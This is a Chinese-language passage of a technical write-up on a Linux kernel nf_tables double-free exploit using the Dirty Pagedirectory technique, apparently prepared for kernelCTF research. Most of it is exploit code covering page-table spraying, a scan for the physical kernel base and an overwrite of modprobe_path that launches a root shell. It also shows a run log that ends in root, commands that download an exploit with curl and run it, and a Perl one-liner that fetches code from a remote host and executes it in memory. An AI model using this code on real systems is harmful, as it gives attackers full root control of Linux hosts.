// ... (spray-free skb's)
// 1-4. 堆喷16000个PTE页,耗尽PCP order-0 list
printf("[*] spraying %d pte's...\n", CONFIG_PTE_SPRAY_AMOUNT);
for (unsigned long long i=0; i < CONFIG_PTE_SPRAY_AMOUNT; i++) // 堆喷 PTE
*(char*)PTI_TO_VIRT(2, 0, i, 0, 0) = 0x41;
// ... (rest of the exploit)
}
(5)触发Double-Free-第2次释放
目标:我们之前耗尽了PCP list,并在第1次释放漏洞对象后喷射了很多PTE。现在进行第2次释放,并分配重叠的PMD。
需精心构造IP头,来规避IPv4分片队列代码中的某些检查。具体参见第2或4章节。
// privesc_flh_bypass_no_time() —— 触发第2次释放
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (spray-alloc PTEs)
PRINTF_VERBOSE("[*] double-freeing skb...\n");
// 1-5. 2nd Double-Free skb (包长度应该为16,但这里设置为0,触发错误来释放skb)
df_ip_header.ip_id = 0x1337;
df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 24;
df_ip_header.ip_off = ntohs(((32768 + 8) >> 3) | 0x2000);
// set_freepointer()函数会将 skb1->len 覆写为 s->random(),需用一定技巧来释放队列,避免访问skb1->len
// 使得ip_frag_queue()中的 end == offset, 这样就会清空packet(立刻释放,不会产生sleep)
alloc_intermed_buf_hdr(0, &df_ip_header);
// ... (rest of the exploit)
}
(6)堆喷PMD
方法:通过写入用户态页来分配重叠的PMD页。
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (free 2 of skb)
// 1-6. 分配重叠的PMD页。PMD[0]/PMD[1]会覆写PTE[0]/PTE[1]
*(unsigned long long*)_pmd_area = 0xCAFEBABE;
// ... (rest of the exploit)
}
(7)寻找重叠的PTE
目的:现在某处有重叠的PMD和PTE,需找出哪一个PTE是重叠的。本质上只需检查该值是否为原始值,否的话则表示被覆写。
原理:堆喷PMD后,某个PTE页被PMD覆写了,读取原先堆喷PTE时对应的虚拟内存,如果和初始化值不相等,则说明其PTE值被篡改了。
以防要进行手动检查,我们还会向用户打印物理地址0x0,该地址通常属于MMIO设备。
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (分配重叠的PMD页)
printf("[*] checking %d sprayed pte's for overlap...\n", CONFIG_PTE_SPRAY_AMOUNT);
// 1-7. 找到重叠的PTE页对应的用户虚拟地址-pte_area
pte_area = NULL;
for (unsigned long long i=0; i < CONFIG_PTE_SPRAY_AMOUNT; i++)
{
unsigned long long *test_target_addr = PTI_TO_VIRT(2, 0, i, 0, 0); // 遍历PTE页,检查是否有PTE条目被篡改
// 如果PTE页和PMD页重叠,则PTE条目pte[0]就会被覆写为&_pmd_area区域中的 `PFN+flags`,而不是 0x41
if (*test_target_addr != 0x41)
{
printf("[+] confirmed double alloc PMD/PTE\n");
PRINTF_VERBOSE(" - PTE area index: %lld\n", i);
PRINTF_VERBOSE(" - PTE area (write target address/page): %016llx (new)\n", *test_target_addr);
pte_area = test_target_addr;
}
}
if (pte_area == NULL)
{
printf("[-] failed to detect overwritten pte: is more PTE spray needed? pmd: %016llx\n", *(unsigned long long*)_pmd_area);
return;
}
// 设置新的pte值,以备sanity check
*pte_area = 0x0 | 0x8000000000000867;
flush_tlb(_pmd_area, 0x400000);
PRINTF_VERBOSE(" - PMD area (read target value/page): %016llx (new)\n", *(unsigned long long*)_pmd_area);
// (rest of the exploit)
}
5-1-3. 扫描物理内存
目的:设置好PUD和PMD后,就可以利用脏页目录:从用户态发起内核空间镜像攻击(KSMA)。现在我们可以将物理地址写入PTE条目中,然后在PMD区域中当作普通内存页来解引用。本节我们将先获取物理内核基址,并以可读/可写权限来访问modprobe_path
内核变量。
(1)查找内核物理基地址
分析:用上述方法来绕过物理KASLR。假设物理内存有8G,则需要扫描的内存从8G降到2M的内存页,每个页只需读取约40字节(指纹)即可确定是否为内核基址,因此最坏情况下需读取 512*40=20480
字节才能找到内核基址。
方法:为了确定某页是否为内核基址,作者编写了get-sig
Python脚本,本质是比较特征字节,还可以扩展到其他内核(其他编译器和旧版内核)。
// 通过比较签名来判断是否为内核基址
static int is_kernel_base(unsigned char *addr)
{
// thanks python
// get-sig kernel_runtime_1
if (memcmp(addr + 0x0, "\x48\x8d\x25\x51\x3f", 5) == 0 &&
memcmp(addr + 0x7, "\x48\x8d\x3d\xf2\xff\xff\xff", 7) == 0)
return 1;
// get-sig kernel_runtime_2
if (memcmp(addr + 0x0, "\xfc\x0f\x01\x15", 4) == 0 &&
memcmp(addr + 0x8, "\xb8\x10\x00\x00\x00\x8e\xd8\x8e\xc0\x8e\xd0\xbf", 12) == 0 &&
memcmp(addr + 0x18, "\x89\xde\x8b\x0d", 4) == 0 &&
memcmp(addr + 0x20, "\xc1\xe9\x02\xf3\xa5\xbc", 6) == 0 &&
memcmp(addr + 0x2a, "\x0f\x20\xe0\x83\xc8\x20\x0f\x22\xe0\xb9\x80\x00\x00\xc0\x0f\x32\x0f\xba\xe8\x08\x0f\x30\xb8\x00", 24) == 0 &&
memcmp(addr + 0x45, "\x0f\x22\xd8\xb8\x01\x00\x00\x80\x0f\x22\xc0\xea\x57\x00\x00", 15) == 0 &&
memcmp(addr + 0x55, "\x08\x00\xb9\x01\x01\x00\xc0\xb8", 8) == 0 &&
memcmp(addr + 0x61, "\x31\xd2\x0f\x30\xe8", 5) == 0 &&
memcmp(addr + 0x6a, "\x48\xc7\xc6", 3) == 0 &&
memcmp(addr + 0x71, "\x48\xc7\xc0\x80\x00\x00", 6) == 0 &&
memcmp(addr + 0x78, "\xff\xe0", 2) == 0)
return 1;
return 0;
}
扫描:我们用可能是内核基页的512页来填充PTE页(和PMD页重叠)。如果扫描的页数超过512,只需将代码放入循环中并递增PFN(物理地址)。注意,如果物理内存是8G,就需要扫512页;若物理内存是4G,则需扫256页,因为4GiB / CONFIG_PHYSICAL_START = 256
。
PTE设置:在设置PTE条目时,需设置pte_area[j] = (CONFIG_PHYSICAL_START * j) | 0x8000000000000867;
,其中PFN - CONFIG_PHYSICAL_START * j
就是物理地址,0x8000000000000867
flag标志表示对应页的读/写权限。
脏页目录原理:之前通过Double-Free构造了 mm->pgd[0][1]
(PMD)mm->pgd[0][2][0]
(PTE),**因此mm->pgd[0][1][x]
(PTE) mm->pgd[0][2][0][x]
(用户空间页),其中 x = 0->511
。这意味着我们可以用512个用户页覆写和PMD重叠的512个PTE,这512个PTE负责另外512个用户页**,也就是说我们一次可以设置512 * 512 * 0x1000 = 0x4000'0000
(1G)内存。
代码实现:为了便于理解,以下使用512个PTE中的2个PTE,分别用作pmd_kernel_area
(用于搜索内核基址)和pmd_data_area
(用于搜索内核内存的内容)。
// privesc_flh_bypass_no_time() —— 用于搜索内核基址
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (setup dirty pagedirectory)
// 2. 查找内核物理基地址 (每次扫描512页,对应1个PTE页)
// range = (k * j) * CONFIG_PHYSICAL_ALIGN
for (int k=0; k < (CONFIG_PHYS_MEM / (CONFIG_PHYSICAL_ALIGN * 512)); k++)
{
unsigned long long kernel_iteration_base;
kernel_iteration_base = k * (CONFIG_PHYSICAL_ALIGN * 512);
// 2-1. 伪造PTE页,指向待扫描的物理地址
PRINTF_VERBOSE("[*] setting kernel physical address range to 0x%016llx - 0x%016llx\n", kernel_iteration_base, kernel_iteration_base + CONFIG_PHYSICAL_ALIGN * 512);
for (unsigned short j=0; j < 512; j++)
pte_area[j] = (kernel_iteration_base + CONFIG_PHYSICAL_ALIGN * j) | 0x8000000000000867;
// 2-2. flush TLB (在子进程中调用munmap()取消映射,会将父进程中的TLB一起刷新)
flush_tlb(_pmd_area, 0x400000);
// 2-3. 每次迭代扫描1个PTE页(而不是CONFIG_PHYSICAL_ALIGN),根据指纹查找内核物理基址
for (unsigned long long j=0; j < 512; j++)
{
unsigned long long phys_kernel_base;
// 检查内核代码节的x64-gcc/clang签名信息
// - "kernel base" 指的是start_64()函数或者变体的汇编码地址
// - 不同架构、编译器的签名信息都不同(例如clang的和gcc的不同)
// - 可从vmlinux文件获取该基址,通过检查第2个segment,通常从二进制文件的0x200000偏移开始
// - i.e: xxd ./vmlinux | grep '00200000:'
// 根据签名来判断是否为内核物理基址
phys_kernel_base = kernel_iteration_base + CONFIG_PHYSICAL_ALIGN * j;
PRINTF_VERBOSE("[*] phys kernel addr: %016llx, val: %016llx\n", phys_kernel_base, *(unsigned long long*)(pmd_kernel_area + j * 0x1000));
if (is_kernel_base(pmd_kernel_area + j * 0x1000) == 0)
continue;
// ... (rest of the exploit)
}
}
printf("[!] failed to find kernel code segment... TLB flush fail?\n");
return;
}
(2)查找modprobe_path
方法:搜索CONFIG_MODPROBE_PATH
("/sbin/modprobe"
)并且后面填充'\x00'
最多到KMOD_PATH_LEN
(256)个字节。检测该地址是否正确,可通过覆写该地址并检查/proc/sys/kernel/modprobe
是否变化。
如果开启了静态usermode helper保护机制,可转而搜索CONFIG_STATIC_USERMODEHELPER_PATH
("/sbin/usermode-helper"
),只不过无法验证搜到的地址是否正确。
// privesc_flh_bypass_no_time() —— 搜索modprobe_path的物理地址
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ...
// range = (k * j) * CONFIG_PHYSICAL_ALIGN
// scan 512 pages (1 PTE worth) for kernel base each iteration
for (int k=0; k < (CONFIG_PHYS_MEM / (CONFIG_PHYSICAL_ALIGN * 512)); k++)
{
unsigned long long kernel_iteration_base;
// ... (set 512 PTE entries in 1 PTE page)
// scan 1 page (instead of CONFIG_PHYSICAL_ALIGN) for kernel base each iteration
for (unsigned long long j=0; j < 512; j++)
{
unsigned long long phys_kernel_base;
// ... (find physical kernel base address)
// 3. 查找 modprobe_path 物理基址
// 3-1. 从内核基址开始扫描 40 * 0x200000 (2MiB) = 0x5000000 (80MiB) 字节, 搜索modprobe path,如果没找到,则从另一个内核基址开始扫
for (int i=0; i < 40; i++)
{
void *pmd_modprobe_addr;
unsigned long long phys_modprobe_addr;
unsigned long long modprobe_iteration_base;
modprobe_iteration_base = phys_kernel_base + i * 0x200000;
PRINTF_VERBOSE("[*] setting physical address range to 0x%016llx - 0x%016llx\n", modprobe_iteration_base, modprobe_iteration_base + 0x200000);
// 3-2. 伪造第2个PTE页,指向待扫描的物理地址
for (unsigned short j=0; j < 512; j++)
pte_area[512 + j] = (modprobe_iteration_base + 0x1000 * j) | 0x8000000000000867;
flush_tlb(_pmd_area, 0x400000);
// 3-3. 搜索modprobe_path地址,并通过覆写来验证是否为正确地址
#if CONFIG_STATIC_USERMODEHELPER
pmd_modprobe_addr = memmem(pmd_data_area, 0x200000, CONFIG_STATIC_USERMODEHELPER_PATH, strlen(CONFIG_STATIC_USERMODEHELPER_PATH));
#else
pmd_modprobe_addr = memmem_modprobe_path(pmd_data_area, 0x200000, modprobe_path, KMOD_PATH_LEN);
#endif
if (pmd_modprobe_addr == NULL)
continue;
#if CONFIG_LEET
breached_the_mainframe();
#endif
phys_modprobe_addr = modprobe_iteration_base + (pmd_modprobe_addr - pmd_data_area);
printf("[+] verified modprobe_path/usermodehelper_path: %016llx ('%s')...\n", phys_modprobe_addr, (char*)pmd_modprobe_addr);
// ... (rest of the exploit)
}
printf("[-] failed to find correct modprobe_path: trying to find new kernel base...\n");
}
}
printf("[!] failed to find kernel code segment... TLB flush fail?\n");
return;
}
5-1-4. 覆写modprobe_path
最后的挑战:需要找到exploit真正的PID,这样就能执行/proc/<pid>/fd
(该文件描述符含有提权脚本)。注意,即便使用磁盘上的文件,EXP也需要知道PID,因为如果位于mnt命名空间就需要用到/proc/<pid>/cwd
。需将modprobe_path
覆写为"/proc/<pid>/fd/<script_fd>"
,也即提权脚本。本提权脚本是通过猜测PID
#define MEMCPY_HOST_FD_PATH(buf, pid, fd) sprintf((buf), "/proc/%u/fd/%u", (pid), (fd));
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ...
// run this script instead of /sbin/modprobe
int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
int status_fd = memfd_create("", 0);
// range = (k * j) * CONFIG_PHYSICAL_ALIGN
// scan 512 pages (1 PTE worth) for kernel base each iteration
for (int k=0; k < (CONFIG_PHYS_MEM / (CONFIG_PHYSICAL_ALIGN * 512)); k++)
{
// scan 1 page (instead of CONFIG_PHYSICAL_ALIGN) for kernel base each iteration
for (unsigned long long j=0; j < 512; j++)
{
// scan 40 * 0x200000 (2MiB) = 0x5000000 (80MiB) bytes from kernel base for modprobe path. if not found, just search for another kernel base
for (int i=0; i < 40; i++)
{
void *pmd_modprobe_addr;
unsigned long long phys_modprobe_addr;
unsigned long long modprobe_iteration_base;
// ... (find modprobe_path)
PRINTF_VERBOSE("[*] modprobe_script_fd: %d, status_fd: %d\n", modprobe_script_fd, status_fd);
// 4. 覆写modprobe_path
printf("[*] overwriting path with PIDs in range 0->4194304...\n");
// 4-1. 猜测当前ns的PID号,将modprobe_path修改为 "/proc/<pid>/fd/<script_fd>"
for (pid_t pid_guess=0; pid_guess < 4194304; pid_guess++)
{
int status_cnt;
char buf;
// overwrite the `modprobe_path` kernel variable to "/proc/<pid>/fd/<script_fd>"
// - use /proc/<pid>/* since container path may differ, may not be accessible, et cetera
// - it must be root namespace PIDs, and can't get the root ns pid from within other namespace
MEMCPY_HOST_FD_PATH(pmd_modprobe_addr, pid_guess, modprobe_script_fd);
if (pid_guess % 50 == 0)
{
PRINTF_VERBOSE("[+] overwriting modprobe_path with different PIDs (%u-%u)...\n", pid_guess, pid_guess + 50);
PRINTF_VERBOSE(" - i.e. '%s' @ %p...\n", (char*)pmd_modprobe_addr, pmd_modprobe_addr);
PRINTF_VERBOSE(" - matching modprobe_path scan var: '%s' @ %p)...\n", modprobe_path, modprobe_path);
}
// 5. 获取root shell
// 5-1. 构造提权脚本
lseek(modprobe_script_fd, 0, SEEK_SET); // overwrite previous entry
dprintf(modprobe_script_fd, "#!/bin/sh\necho -n 1 1>/proc/%u/fd/%u\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\n", pid_guess, status_fd, pid_guess, shell_stdin_fd, pid_guess, shell_stdout_fd);
// ... (rest of the exploit)
}
printf("[!] verified modprobe_path address does not work... CONFIG_STATIC_USERMODEHELPER enabled?\n");
return;
}
printf("[-] failed to find correct modprobe_path: trying to find new kernel base...\n");
}
}
printf("[!] failed to find kernel code segment... TLB flush fail?\n");
return;
}
5-1-5. 获取root shell
方法:调用modprobe_trigger_memfd()
执行无效二进制文件,触发执行已被覆写的modprobe_path
(指向脚本/proc/<pid>/fd/<fd>
),该脚本会顺便往新分配的文件描述符写1,这样exploit就能检测到root shell成功执行。
无文件实现:参见linux无文件执行,主要用到 memfd_create()
创建文件,并调用 fexecve()
执行文件。
为了实现通用性,做到无文件且不依赖命名空间,作者在exp中将stdin 和 stdout 文件描述符劫持到root shell,本方法既适用于本地提权也能反弹shell。反弹shell的脚本如下:
#!/bin/sh
echo -n 1 > /proc/<exploit_pid>/fd/<status_fd>
/bin/sh 0</proc/<exploit_pid>/fd/0 1>/proc/<exploit_pid>/fd/1 2>&
触发modprobe_path
的代码如下:
static void modprobe_trigger_memfd()
{
int fd;
char *argv_envp = NULL;
fd = memfd_create("", MFD_CLOEXEC);
write(fd, "\xff\xff\xff\xff", 4);
fexecve(fd, &argv_envp, &argv_envp);
close(fd);
}
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ...
// run this script instead of /sbin/modprobe
int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
int status_fd = memfd_create("", 0);
// range = (k * j) * CONFIG_PHYSICAL_ALIGN
// scan 512 pages (1 PTE worth) for kernel base each iteration
for (int k=0; k < (CONFIG_PHYS_MEM / (CONFIG_PHYSICAL_ALIGN * 512)); k++)
{
// scan 1 page (instead of CONFIG_PHYSICAL_ALIGN) for kernel base each iteration
for (unsigned long long j=0; j < 512; j++)
{
// scan 40 * 0x200000 (2MiB) = 0x5000000 (80MiB) bytes from kernel base for modprobe path. if not found, just search for another kernel base
for (int i=0; i < 40; i++)
{
for (pid_t pid_guess=0; pid_guess < 65536; pid_guess++)
{
int status_cnt;
char buf;
// ... (overwrite modprobe_path)
// 5-2. 触发执行modprobe_path,如果PID错误,则什么也不发生
modprobe_trigger_memfd();
// 5-3. 如果PID正确,且提权脚本成功执行,就会顺便往status_fd文件中写1
status_cnt = read(status_fd, &buf, 1);
if (status_cnt == 0)
continue;
printf("[+] successfully breached the mainframe as real-PID %u\n", pid_guess);
return;
}
printf("[!] verified modprobe_path address does not work... CONFIG_STATIC_USERMODEHELPER enabled?\n");
return;
}
printf("[-] failed to find correct modprobe_path: trying to find new kernel base...\n");
}
}
printf("[!] failed to find kernel code segment... TLB flush fail?\n");
return;
}
5-1-6. 利用后的稳定性
问题及处理:内存漏洞利用过程中,页表页是不稳定的因素,如果利用进程停止,可能导致崩溃。解决办法是创建子进程完成利用,父进程直接退出。此外,为子进程注册信号处理程序,用于处理SIGINT
键盘中断,但这会导致子进程在后台休眠,父进程不受影响(因为处理程序是在子进程中设置的)。
注意,不能使用wait()
,因为子进程会继续在后台运行。
// 设置子进程并等待漏洞利用完成
int main()
{
int *exploit_status;
exploit_status = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
*exploit_status = EXPLOIT_STAT_RUNNING;
// detaches program and makes it sleep in background when succeeding or failing
// - prevents kernel system instability when trying to free resources
if (fork() == 0)
{
int shell_stdin_fd;
int shell_stdout_fd;
signal(SIGINT, signal_handler_sleep);
// open copies of stdout etc which will not be redirected when stdout is redirected, but will be printed to user
shell_stdin_fd = dup(STDIN_FILENO);
shell_stdout_fd = dup(STDOUT_FILENO);
#if CONFIG_REDIRECT_LOG
setup_log("exp.log");
#endif
setup_env();
privesc_flh_bypass_no_time(shell_stdin_fd, shell_stdout_fd);
*exploit_status = EXPLOIT_STAT_FINISHED;
// prevent crashes due to invalid pagetables
sleep(9999);
}
// prevent premature exits
SPINLOCK(*exploit_status == EXPLOIT_STAT_RUNNING);
return 0;
}
5-1-7. 运行测试
对于 KernelCTF环境,运行命令为cd /tmp && curl https://secret.pwning.tech/<gid> -o ./exploit && chmod +x ./exploit && ./exploit
。还可以使用Perl无文件的执行该exploit。
user@lts-6:/$ id
uid=1000(user) gid=1000(user) groups=1000(user)
user@lts-6:/$ curl https://cno.pwning.tech/aaaabbbb-cccc-dddd-eeee-ffffgggghhhh -o /tmp/exploit && cd /tmp && chmod +x exploit && ./exploit
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 161k 100 161k 0 0 823k 0 --:--:-- --:--:-- --:--:-- 823k
[*] creating user namespace (CLONE_NEWUSER)...
[*] creating network namespace (CLONE_NEWNET)...
[*] setting up UID namespace...
[*] configuring localhost in namespace...
[*] setting up nftables...
[+] running normal privesc
[*] waiting for the calm before the storm...
[*] sending double free buffer packet...
[*] spraying 16000 pte's...
[ 13.592791] ------------[ cut here ]------------
[ 13.594923] WARNING: CPU: 0 PID: 229 at mm/slab_common.c:985 free_large_kmalloc+0x3c/0x60
...
[ 13.746361] ---[ end trace 0000000000000000 ]---
[ 13.748375] object pointer: 0x000000003d8afe8c
[*] checking 16000 sprayed pte's for overlap...
[+] confirmed double alloc PMD/PTE
[+] found possible physical kernel base: 0000000014000000
[+] verified modprobe_path/usermodehelper_path: 0000000016877600 ('/sanitycheck')...
[*] overwriting path with PIDs in range 0->4194304...
[ 14.409252] process 'exploit' launched '/dev/fd/13' with NULL argv: empty string added
/bin/sh: 0: can't access tty; job control turned off
root@lts-6:/# id
uid=0(root) gid=0(root) groups=0(root)
root@lts-6:/# cat /flag
kernelCTF{v1:mitigation-v3-6.1.55:1705665799:...}
root@lts-6:/#
注意,在KernelCTF环境中,可通过内核warning来获得PID,但是为了通用性,作者选择暴破PID。
如果目标系统安装了Perl,且目标文件系统是只读的,可以无文件执行exp。将 modprobe_path
设置为/proc/<exploit_pid>/fd/<target_script>
。以下脚本可以在不写入磁盘的情况下完成利用。
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
open(my $fh, ">&=".$fd);
print $fh `curl https://example.com/exploit -s`;
exec {"/proc/$$/fd/$fd"} "memfd";
'
5-2. 编译EXP
EXP需修改的地方:
-
v6.3.13内核默认勾选了
CONFIG_STATIC_USERMODEHELPER
配置,所以EXP中需将CONFIG_STATIC_USERMODEHELPER
设置为1; -
如果为8G内存,只需伪造1个PTE页;超过8G,需要伪造两个PTE页(本文exp已实现)。参见
4-8
节; -
不同的内核,指纹信息不同,需采用get-sig脚本收集内核指纹信息,修改
is_kernel_base()
函数。# 可从vmlinux文件获取该基址,通过检查第2个segment,通常从二进制文件的0x200000偏移开始,查看特征字符是否和EXP中memcmp比较的相同。 $ xxd ./vmlinux | grep '00200000:' 00200000: fc0f 0115 e082 4203 b810 0000 008e d88e ......B.........
(1)依赖
依赖库:主要依赖libnftnl-dev
和libmnl-dev
,可以简化exp构造过程。Libmnl 解析并构造netlink头,libnftnl负责构造netfilter用到的对象(例如chain和table),并序列化为libmnl用到的netlink消息。
EXP中还为musl-gcc
编译的库添加了一个 .a(ar archive)文件,该文件本质上是编译器可以理解的目标文件(.zip),这样musl-gcc
就能将库静态链接。作者还需要下载一个单独的libmnl-dev
版本,下面已列出。
(2)Makefile
为了实现静态编译(kernelCTF上可用),使用以下makefile:
SRC_FILES := src/main.c src/env.c src/net.c src/nftnl.c src/file.c
OUT_NAME = ./exploit
# use musl-gcc since statically linking glibc with gcc generated invalid opcodes for qemu
# and dynamically linking raised glibc ABI versioning errors
CC = musl-gcc
# use custom headers with fixed versions in a musl-gcc compatible manner
# - ./include/libmnl: libmnl v1.0.5
# - ./include/libnftnl: libnftnl v1.2.6
# - ./include/linux-lts-6.1.72: linux v6.1.72
CFLAGS = -I./include -I./include/linux-lts-6.1.72 -Wall -Wno-deprecated-declarations
# use custom object archives compiled with musl-gcc for compatibility. normal ones
# are used with gcc and have _chk funcs which musl doesn't support
# the versions are the same as the headers above
LIBMNL_PATH = ./lib/libmnl.a
LIBNFTNL_PATH = ./lib/libnftnl.a
exploit: _compile_static _strip_bin
clean:
rm $(OUT_NAME)
_compile_static:
$(CC) $(CFLAGS) $(SRC_FILES) -o $(OUT_NAME) -static $(LIBNFTNL_PATH) $(LIBMNL_PATH)
_strip_bin:
strip $(OUT_NAME)
(3)静态编译错误记录
问题1:找不到Libmnl库
使用apt和gcc编译时遇到问题,Debian稳定版中的libmnl-dev
含有一个无效的 .a 文件,尝试静态编译时报错如下:
/usr/bin/ld: cannot find -lmnl: No such file or directory
collect2: error: ld returned 1 exit status
make: *** [Makefile:17: _compile_static] Error 1
解决:需安装不稳定版的libmnl,命令为sudo apt install libmnl-dev/sid
,*/sid
表示从Debian不稳定目录中安装该包。否则,需要gcc自行编译libmnl库,并自行创建 .a 文件。
问题2:错误的操作码——AVX指令
使用gcc和glibc静态编译EXP时,遇到不支持的AVX(512)指令。QEMU不支持AVX512 扩展指令,所以有50%的可能会触发CPU trap。
[ 15.211423] traps: exploit[167] trap invalid opcode ip:433db9 sp:7ffcb0682ee8 error:0 in exploit[401000+92000]
解决:删除QEMU VM中的-cpu host
参数,并在该VM中编译EXP,这样就不会使用AVX512扩展指令。但是KernelCTF始终以-cpu host
启动,后来知道,需要用 musl-gcc
静态编译EXP,因为glibc不是为静态编译而设计的。
musl 安装:
$ sudo apt-get install musl-tools
# 源码安装 - 下载源码 https://musl.libc.org/
$ ./configure
$ make
$ make install
6. 常用命令
参考 CVE-2022-34918
liburing 安装:
# 安装 liburing 生成 liburing.a / liburing.so.2.2
$ make
$ sudo make install
常用命令:
# ssh连接与测试
$ ssh -p 10021 hi@localhost # password: lol
$ ./exploit
# 编译exp
$ make CFLAGS="-I /home/hi/lib/libnftnl-1.2.2/include"
$ gcc -static ./get_root.c -o ./get_root
$ gcc -no-pie -static -pthread ./exploit.c -o ./exploit
# scp 传文件
$ scp -P 10021 ./exploit hi@localhost:/home/hi # 传文件
$ scp -P 10021 hi@localhost:/home/hi/trace.txt ./ # 下载文件
$ scp -P 10021 ./exploit.c ./get_root.c ./exploit ./get_root hi@localhost:/home/hi
问题:原来的 ext4文件系统空间太小,很多包无法安装,现在换syzkaller中的 stretch.img
试试。
# 服务端添加用户
$ useradd hi && echo lol | passwd --stdin hi
# ssh连接
$ sudo chmod 0600 ./stretch.id_rsa
$ ssh -i stretch.id_rsa -p 10021 -o "StrictHostKeyChecking no" root@localhost
$ ssh -p 10021 hi@localhost
# 问题: Host key verification failed.
# 删除ip对应的相关rsa信息即可登录 $ sudo nano ~/.ssh/known_hosts
# https://blog.csdn.net/ouyang_peng/article/details/83115290
ftrace调试:注意,QEMU启动时需加上 no_hash_pointers
启动选项,否则打印出来的堆地址是hash之后的值。trace中只要用 %p
打印出来的数据都会被hash,所以可以修改 TP_printk() 处输出时的格式符,%p
-> %lx
。
# host端, 需具备root权限
cd /sys/kernel/debug/tracing
echo 1 > events/kmem/kmalloc/enable
echo 1 > events/kmem/kmalloc_node/enable
echo 1 > events/kmem/kfree/enable
# ssh 连进去执行 exploit
cat /sys/kernel/debug/tracing/trace > /home/hi/trace.txt
# 下载 trace
scp -P 10021 hi@localhost:/home/hi/trace.txt ./ # 下载文件
参考
Flipping Pages: An analysis of a new Linux vulnerability in nf_tables and hardened exploitation techniques —— 通用利用方法,本方法名叫Dirty Pagedirectory。利用堆漏洞(例如Double-Free)在同一地址分配Page Upper Directory (PUD) 和Page Middle Directory (PMD),其VMA 应该是独立的,以避免冲突(因此不要在 PUD 区域内分配 PMD)。 然后,向PMD范围内的页写入地址,并读取PUD范围的相应页中的地址。
CVE-2024-1086-exploit
Dirty Pagetable: A Novel Exploitation Technique To Rule Linux Kernel —— Dirty Pagetable,利用堆漏洞(UAF/Double-Free/OOB)篡改末级页表中的PTE条目,实现任意物理地址读写。
Linux内存管理与KSMA攻击 —— Kernel-Space-Mirror-Attack,基于一次内核写漏洞,修改页表(描述符)实现物理地址的重新映射,从而实现任意内核地址读写原语。
Linux Kernel:内存管理之分页(Paging)